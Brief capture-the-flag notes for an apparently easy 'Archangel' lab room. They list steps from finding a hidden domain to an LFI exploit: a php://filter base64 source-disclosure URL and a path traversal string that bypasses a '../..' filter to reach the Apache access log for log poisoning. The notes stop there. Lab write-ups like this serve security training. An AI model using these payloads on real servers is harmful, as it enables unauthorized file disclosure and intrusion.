Easy

Back

Table of Contents

• Archangel/Archangel

Rooms

ARcHanG3l

[!bug] Apache Log Poisoning

• in header on target IP we get new domain from: "Send us a mail: support@mafialive.thm"
• add it to /etc/hosts and get a flag
• http://mafialive.thm/FUZZ -> robots.txt with: Disallow: /test.php
• use a PHP wrapper filter for source code disclosure
• /test.php?view=php://filter/read=convert.base64-encode/resource=/var/www/html/development_testing/test.php
• Bypass Non-Recursive Path Traversal Filter - if(!containsStr($_GET['view'], '../..') -> /.././.././.././log/apache2/access.log -